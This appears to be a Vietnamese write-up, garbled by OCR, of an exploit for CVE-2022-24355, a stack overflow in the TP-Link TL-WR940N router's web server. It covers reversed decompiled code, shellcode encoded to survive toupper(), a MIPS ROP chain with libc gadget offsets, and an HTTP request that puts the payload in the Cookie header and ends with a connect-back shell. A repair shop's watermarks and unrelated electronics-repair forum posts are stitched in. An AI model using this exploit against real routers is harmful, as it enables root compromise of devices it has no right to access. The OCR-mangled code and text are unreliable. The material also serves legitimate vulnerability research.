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Ve loi

CVE-2022-24355 cho phép nhiing ké tan cong lién ké mang thuc thi mé tuy y trén céc cai
dat bi anh huwong cta bd dinh tuyén TP-Link TL-WR940N. Khong can xé4c thuc dé khai thac
16 hong nay. L6 héng cu thé ton tai trong qué trinh phén tich ci phap cta phan mé rong tén
tép. Van dé la do thiéu xéac thuc do dai cua dir liéu do nguoi dung cung cap trudce khi sao
chép né vao bd dém dua trén ngan xép c6 do dai c6 dinh. Ké tdn coéng cé thé tan dung 16
hong nay dé thuc thi ma trong béi canh root. ( www.zerodayinitiative.com )

Sau khi doc mé ta, minh nghi rang 16i giong nhuw 16i tran bé dém pho bién dwoc kich hoat
bang cach gt yéu cau cho tép c6 phan md rong tép rat dai (vi du: index.aaaa ..........
aaaa). Tuy nhién, truong hop nay lai khac.

Tao lai loi

T ham init c¢6 tén httpd () , dé chuwong trinh goi ham httpRpmFs () , url yéu cau phai
chtra “/ fs /” hoac “/ loginFs /”.

httpRpmConfAdd(2, "/fs/", httpRpmFs);
httpFsConfAdd("/fs/", "/rc_filesys/doc/");
httpAliasConfAdd("/login/*", dword 595194);
httpCtrlConfAdd("/loginFs/*", ™*"  "*");
httpRpmConfAdd(2, "/loginFs/", httpRpmFs);
httpFsConfAdd("/loginFs/", "/rc_filesys/doc/");
httpAliasConfAdd("/incoming/*", “/incoming/*");
httpCtrlConfAdd("/incoming/*", "admin", “Everywhere");
httpFileSetDefaultFs(1);
httpUploadConfAdd("/incoming/", "/rc_filegysdameomay con
return httpServerStart(); falo: 0368337723

Hon nita, ip gi6i thiéu trong yéu cau phai bang ip méy chu dé€ vuot qua kiém tra bao mat
trong ham httpDispatcher () .
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v22 = isUnCheckRefererUrl(*( DWORD *)(al + 20), v16);
v23 = v10;

if ( 1v22)

{

v24 = isHostEgRefererHost(al);
v23 = v10;
if ( 1v24)

{
if ( HttpIsAccessFromLAN(al) )

return ((int (__fastcall *)(int))HttpDenyPage)(al);
DefaultRemotellebCtrllogin = getDefaultRemoteWebCtrlLogin();
v23 = v10;
if ( DefaultRemoteWebCtrlLogin )

return ((int (__fastcall *)(int))HttpDenyPage)(al);

} LinhFienThaoMay Com
} Talo: 0389837723

Bay gi0, vé chirc nang dé bi tan céng, httpRpmFs () duoc sit dung dé doc va phan héi noi
dung cua tép duoc yéu cau néu nd ton tai trong thw muc / tmp / hodc / web /.

if ( *(_WORD *)(al + 48) != 200 )

return -1;
v2 = (const char *)httpBufferGet(); // v2 = con tro dén ving nhd luu http header

/! (vi tri chinh x&c 13 dau "." trudc file extension)

if ( !httpServerUncompress )

httpMimeContentEncodingGet(al, @);
strepy(v2, "/tmp/™);
v3 = httpRpmDataGet(al); // lay duong dan url (bé qua /fs/ va /loginFs/)
streat{v2, v3); // tao duing dan ftmp/ + [dudng dan file tir url/
vd = stestr(v, "..") 1= 8; f/f filter ".."™ tranh path traversal

=sult = -1;

open(v2, @); // thir md file (check file cé ton tai khong)

strepy(v2, "/web/"); // tao dutmg dan fweb/ + [dudng dan file tir url/
v/ = httpRpmDataGet(al};
strcat(v2, v7);
vd = strstr{vz, "..") 1= 8;
result = -1;
if (va)
return result;
ve = open{vZ, @);
if (vE < @)
{
printf("open %s error!\r\n™, v2):
perror{“reason:");
return -1;

} LinhKienThaoMay.Com
} Zalo: 0388337723

Lic dau, minh nghi rang 16 hong la strcat (v2, v3) nhung, ca v2 va v3 déu duoc phan bé-ed
va chi duoc st dung trén heap. Vi vay, minh d& c6 gang so sanh httpRpmFs () nay voi
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httpRpmFs () d& c6 dinh. Ching h4u hét giéng nhau, ngoai trir c6 mot kiém tra bado mat méi
néu ban muon doc tép trong thu muc / tmp /.

if ( *(_WORD *)(al + 48) != 260 )
return -1;
= (const char *)httpBuffercet();

if ( !httpServerUncompress )

httpMimeContentEncodingGet
strepy(v2, "/tmp/");

= httpRpmDataGet(al);

strcat(v2, v3);

I = stester(v2, "..") 1= B;
I 1t = -1;
if ( lvd )
{

» 8);

if ( <8)
{
strepy(v2, "fweb/™);
= httpRpmDataGet(al);
streat(v2, v7);
1 = strstr(vz, "..") l= @;
result = -1;
if ((vd)
return re t;
= open(vZ, @);
if (ve <8 )
{
printf("open ¥s error!\r\n", v2);
perror{“reason:™);
return -1;
}
}

if { (!HIBYTE(session_client) || dword_617614 != 2 || isSessionExpiredTime() || !isSessionClient(al))
&& strstr(v2, "/tmp/") )

/8 = &off_SEGTES;
while { !strstr({v2, *v&) )

i
vd = v8++ |= &off_SE@7FC;
£ lva)

i
{ LinhKienThaoMay.Com
printf{"Unauthorized access to /tmp/ 1s not allowed"); Zalo: 0380037723

T manh moi d6, minh da thuc hién mot s6 yéu cau doc moi tép trong / tmp / va cudi cung,

n6 da bi 16i khi minh c6 doc mdt tép c6 tén la passwd . Nhin vao trinh g& 16i, mot phan cua
yéu cau da duoc viét trong ngdn x€p va gay ra tran.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Hay quay lai véi doan ma va tim hi€u xem diéu nay c6 thé xay ra nhw thé nao. Tai ham
htttpRpmFs () , sau khi doc tép tin thanh cong, chuwong trinh sé dwa ra phan hoi chita noi
dung cua tép tin do.

Ham sub_5299EO0 () duoc goi dé phat hién Loai-Néi dung clia phan hoi phu hop véi phan
mo rong tép. Pay la noi bat dau tran

2 = (unsigned __int8 *)(file_path + strlen(file_path));
do

= * L=,
while ( = "." );
L= V2 + 1
for ( 1 = 0 < strlen(vd + 1); ++1 )

{
6 = toupper(vA[i + 1]);
le e ] = ( nar )& L1 + J

o . i

. LinhKienThaoMay Com
'} Zalo: 0389337723

Ham sub 5299E0 () tim phan mé réng tén tép bang cach tao mdt con trd tréo dén cudi
duong dan tép. Sau do6, diém sé duwoc di chuyén vé phia sau cho dén khi né gap ‘.’ tinh
cach. Cuéi cung, sub_5299E0 () sé sao chép tdt ca cac ky tw sau dau ‘.’ tung ky tw mot cho
dén khi né gap byte null. Ky tu da sao chép sé dwoc doi thanh khoa trén va duoc luu vao
ngan xép. Trong truong hop cta minh, mét khau khong cé phan mé rong tép, con tro da
duoc di chuyén vé phia sau, chuyén duong dan tép, dén vung tiéu dé yéu cau da luu va chi
dung lai khi né gap phan cudi cung ‘.’ trong dia chi ip ciia phan Nguoi gi6i thiéu. Két qua 13,

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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moi thit sau khi né dwoc sao chép dé xép chong va ghi dé 1én céc gid tri thanh ghi da
luu. Sau sub_5299E0 ()két thic, cac gia tri nay duoc bat trd lai thanh ghi va gay ra sw co
chuong trinh.

LOAD: 28529804 loc_ 529B04: # CODE XREF: sub_5299E@+281]
LOAD: 80529804 # sub_S5299E@+DC1j

LOAD: 08529804 1w $ra, Ox24+var_s10($sp)

LOAD: 98529808 1w $s3, Ox24+var_sC(%sp)

LOAD : @8529B8C 1w %52, Bx24+var_s8(%sp)

LOAD: 99529810 1w $s1, @x24+var s4($sp)

LOAD: 00529814 1w $s0, Ox24+var_s@($sp)

LOAD: 80529818 jr fra

LOAD: 20529B1C addiu $sp, Bx38 LinhKienThaoMay. Com
LGAD:B'BE'ngl{: - ErAd 34 't ncti n csub 7 § O E ..' Zalo: 0382337723

Viét mot khai thac

minh khéng cé bo dinh tuyén thuc, vi vdy minh st dung bo céng cu-phén tich-phan sun dé
mo phw phan sun. Sau khi nghién ctu mdt chit, minh thay rang ASLR cta bd dinh tuyén bi
tat theo mac dinh, vi vy minh cling tat ASLR trén trinh mé phw ciia minh. Vi chuong trinh
khong c6 bao vé, minh sé st dung 10i tran dé luu trir méa shellcode vao ngan xép va chay né.

[*] '/home/exluck/Desktop/firmware-analysis-toolkit/firmadyne/images/httpd
Arch: mips-32-big
RELRO:

Stack:

NX:
PIE:
RWX:

T g6 10i & trén, minh da tao mot tai trd tién dwoc lwu trir trong phan cookie ctiia yéu
cau. Trong tai chira b0 dém 16 byte, mdt con tré ngan xép t6i shellcode va shellcode.

stack = "\x7c\x9f\xfa\x90"

request = "GET /loginFs/passwd HTTP/1.1\r\n"

request += "Host: 192.168.1.1\r\n"

request += "User-Agent: Mozilla/5.6 (X11; Ubuntu; Linux x86 64; rv:54.0) Gecko/20188181 Firefox/54.8\r\n"
request += "Accept: application/json, text/javascript, */*; q=0.01\r\n"

request += "Accept-Language: en-US,en;q=0.5\r\n"

request += "Accept-Encoding: gzip, deflate\r\n"

request += "Connection: close\r\n"

request += "Referer: http://192.168.1.1/\r\n"

request += "Cookile: " + "\x90"*16 + stack + shellcode + "\r\n"

request += "Upgrade-Insecure-Requests: 1\r\n" LinhKienThaoMay.Com
request += "\r\n" Zalo: 0369837723

Moi thit trong ok va minh nghi diéu nay sé dé dang, nhung yéu cau chi lam cho chuong trinh
bi sap ma khong c6 cac trinh bao hodc két noi tré lai nao. minh d&d quay lai g& 16i va phat
hién ra van dé la ham toupper () . Shellcode chita mét so byte trong pham vi tir 0x61 dén
0x7a (‘a’ thanh ‘z’ trong ascii). Cac byte nay sé bi thay déi khi di qua ham toupper () (trr
0x20) khién mé shell khong hoat dong.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Vi vay, minh da tim thdy mot gidi phdp d€ bo qua toupper () la méa hda shellcode trudc khi
gt dén bo dinh tuyén. May man thay, lib pwntool c¢6 chitc nang XORencode cho truong hop
nay. Tuy nhién, sau khi ma héa, ma shell van cé mot byte 0x70.
==> avold = "\x@8\xba'

ode, avold)

40 26

o00e8128

minh d& c6 gang théo roi 0x01c07027 va thay huwéng dan “ nor $ t6, $ t6, $ zero ”. Pé
cham dut byte hw, minh da thay d6i ma shell dwgc ma héa mdot chit. Vi thanh ghi $ t1 cé
cung muc dich véi $ t6 va n6 khong duwoc st dung trong ca shellcode va encode, minh da
thay thé thanh ghi $ t6 bang $ t1 va byte hu d& bién mat.

Hon nita, minh da biét rang mot bd dinh tuyén MIPS cé dong tién dém bd nhé cache dé tang
toc do truy cap bo nhé bang cach thuc hién doc va ghi vao bo nhé chinh mot cach khong
dong bd. Sau khi tran bo dém ngan ghi dé 1én dia chi trd vé duoc luu trit bang dia chi
shellcode, b xtr Iy da hudng viéc thyc thi dén dung vi tri vi dia chi tra vé la dit liéu. Tuy
nhién, n6 thuc thi cac 1énh cii van chiém b nhé cache cua 1énh, ch khong phai céc 1énh da

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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duoc ghi gan day vao bd dém dir liéu. D€ lam cho shellcode hoat dong, minh phai x6a bo
dém dit liéu va 1énh bang cach goi ham sleep () . minh d& mwon ROPchain tir ma khai thac
cli ( www.exploit-db.com/exploits/46678 ) va stra d6i mot chut dé phu hop véi truong hop
ctiia minh.

libcBase= Bx2adabeaa
sleep = LibcBase + @x53CAB

gadgetl = libcBase + OxABA55cA0 # addiu Sad, Szero, 1; move St9, Ssi; jalr Sto;

gadget? = libcBase + Bx00024ecc # 1w Sra, Bx2e(Ssp); lw 551, 6x28(5sp); 1w 558, 0x24(5sp); ir Sra:

gadget? = libcBase + Ox0001e?0c # nove 5t9, $51; 1w Sra, Ox24(5sp); 1w 552, Bx20(5sp); 1w Ss1, @xic(Ssp); 1w 530, éxia(5sp); Ir 5t9
gadgetd = LibcBase + Ox00019574 # addiu S50, Ssp, 0x24; move Sa®, $s0; move 59, 5815 jalr 5t9;

gadgets = libcBase + Ox000154dE # nove 5t9, 5s50; jalr 5t9;

56 = "BBBB"

51 = gadget2

payload =

payload += struct.pack('=I', s1)

payload += "\x98%*g

payload += struct.pack('=1', gadgetl) #Overwrite RA address
#New stack for gadget 2 starts

payload #= "E" * 208 # adjust stack

payload += "FFFF" #gadgetl -= Llw 558, 0x1E(%sp) == 24 bytes
payload += "GOGC" #gadgetd -= Lw Ss1, Bxlc(Ssp) == 28 bytes
payload += "HHHH" ®gadgetd -= Lw 552, 8x28(%sp) == 32 bytes

payload += "Anan”

payload += “CCCCT

payload += struct.pack( »I', sleep) WgadgetZ -> 1w 551, @x28({5sp) => 40 bytes

payload #+= struct.pack( =I', gadget3d) wgadget? -> 1w Sra, @xZc(5sp) => 44 bytes

#hew stack for gadget 3 starts

payload += "G" *24

payload += "A"* 4 #lw 550, Ox18(5sp); sp + 24 bytes = s0

payload += struct.pack(’=I', gadget5)&lw 551, Bxlc(5sp); sp + 28 bytes = 51 <= load gadget 5 addr
payload = "C" *3 #lw 552, Bx20(5%sp); sp + 32 bytes = s2

payload += struct.pack('=I', gadgetd4) #lw Sra, @x24{%sp); sp + 36 bytes = ra <= load gadget 4 addr
#New stack for gadget 4 starts

payload += "\x98" * 35

payload += shellcode ®addlu $s8, %Ssp, 8x24; sp + 36 bytes = s8

LinhKienThaoMay.Com
‘Ealo: 03B993TT23

Yéu cau cling can chinh stta d€ phu hop véi tai trong méi.

request = "GET floginFs/passwd HTTP/1.1\r\n"

request += "Host: 192.168.1.1\r\n"

request += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB6 64: rv:54.8) Gecko/2010808181 Firefox/54.8\r\n"
request += "Accept: applicationfjson, text/javascript, */*; g=0.01\r\n"

request += "Accept-Language: en-US,en;q=0.5\r\n"

request += "Accept-Encoding: gzip, deflate\r\n”

request += "Connection: close\r\n"

request += "Referer: http://192.168.1.1/\r\n"

request += "Cookie: " + payload + "\r\n"

request += Upgrade-Insecure-ﬂequests: 1\ ryn” LinhKienThaoMay.Com
request += "\r\n" Zalo: ISAEASLI2S

TRUNG TAM SUA CHUA DIEN TU' QUANG BINH

MR. XO - 0901.679.359 - 80 V6 Thi Sdu, Phwong Quang Thuan, tx Ba Pén, tinh
Quang Binh

NHANH CHONG

» TRUNG TAM SUA CHIFA DIEN TU
| ‘ X® NGUYEN

am? M@Wﬂm@
Zolls OB MSUNG De: @uén??/mém tx Be Dan,
— tinhQuing Bink.- 0901.679.559
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Cudi cung, quéa trinh khai thac da hoan tat va san sang chay.

t 31337: Done
i Got connection from 192.168.1.1 on port 45645

5 ¢

1 ¢
1
1 |
1 €
1 €
10
3 €
10
1 &

Tac gia: Thanhnc41

Cac bai viét tuong tu:

1.

w

10.

am ly janqua - con &m ly cua em lau ko nghe gi¢ bo ra hét thi van to volume master

hodc van to volume mic van cd num Hi cia mic va mater thi séi to rit nhung ko
hd,,,,,s0i lam rit 1dm,,muon hat ma ko dc hat,,,

. am ly trung quéc 4 sO - moi nquoi oi ctru chdu véi, con &m ly nay dot truoc khédch dem

tGi chdy bién thé, chdu da thay bién thé dc 1thang gi¢ khdch dem t6i lai chdy bién thé
ko biét nquyén nhan la j vy moi nquoi

. Ca Fé Pém - Ai di Ca Fé dém khong?
. can giup d6 am ly 8 so 2 ngay van chua tim ra bénh dp ddi xing +-17vol qua 2 6n ap

7912 7812 cép cho ro le mach music master mic,,+-52 cho c6ng suét - ban ddu hong
cong sudt chét cau chi, thay thé va kiém tra cdc dién dp chan b cong sudt =nhau 52
vol,céc tang khuyeh dai thuc, dém, tré tu tét,(,bo nquén ,6n dp va céng sudt di
lién),,,thdo dwong 52 vol thi ro le lai dong cédp vao lai ko dong ,bd 1 cédu chi 1 vé lai

dong(vé da bi n6 cau chi luc dau),,, kiém tra ko thdy bj sao? 2 tré can bang vé ro le bao

vé loa em do 1 duong vé 52vol con 1 dwong vai mili vol,, ko hiéu la sao lai chénh léch
thé

. Day nghé, tuyén tho tai Dong anh, handi - Diéu hoa, mdy giat, 10 vi séng, ndi com, xe

dap dién,

. dau kv thuat s6 call tech dvb usb,,,bat dc 1 s6 kénh ko bat dc kénh vtcl dén vtc 11 -

em do ko dc em chon mac dinh nha sdn sudt,,,gi¢ ko load dc kénh nia,,,cé cdch nao
khac ngoai chay lai ram bang cach mua bo nap lai chwong trinh ko cdc bac

HDD SAMSUNG 160qg - tw nhién bi fomat toan bo HDD,qgiong nhu la 1 cai hdd maéi mua
vay.

. 1o vi song sharp Bién dp om - may bia nay e chay lung suc mua Bién ap 10 vi sdng ma

ko kiém dc

. Mdy gidt deawoo 7.2 kg - Bam power kéu u u. Van xa mé. Phao ko dc cép dién .e dem

tho thay triac xa vé .bam chu hil trinh giat binh thudng nhung lwot thit 2 lai bi nhw cil.
Pem ra tho 1an 2 ciing thay triac xa réi vé van vay. Riét tién stra bang tién mua bo

luon. Huhu .nho céc anh chi gido dé gidi quyét 1 1an duy nhét a
may giat sharp ES-S71 - dn nut ON d& c6 dién ap cép cho van cap nwdc la 195V.an
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start do dien ép ra van céap nuocs khong thay ddi .minh nghi do hong médy con tranzitor

c6 dung khong. ma cua may con tran zitor la M1J43 thay bang con gi duoc

sam sung ml1640 - may b4o 16i dén dé , minh kiém tra thi bj tran bd dém va 16i hd
uang . minh d& thay hop quang va reset lai b6 dém , méy dé in dc binh thwong khoan

vai chuc trang thi médy béo 16i dén vang

toshiba 21 CZ5VX(K) - bi dit quan dao dong tron tron hinh tru e thay quéan cua

samsung giéng vay may chay nhung lai dit e quén 14i thi hinh nén du nhung lai hoi co

0 gitra khi vao nenu va lai c6 nan séng ngang lam hinh dnh thanh rdng cwa va so don

rat nong e thay thtr tu gém dap mat nhung van k dc a cho e hoi ¢6 phai sai dao dong k

a e dém quan dao dong cua nd la 44v day to va 1130v day bé néu thay thi may nao

thay dc a
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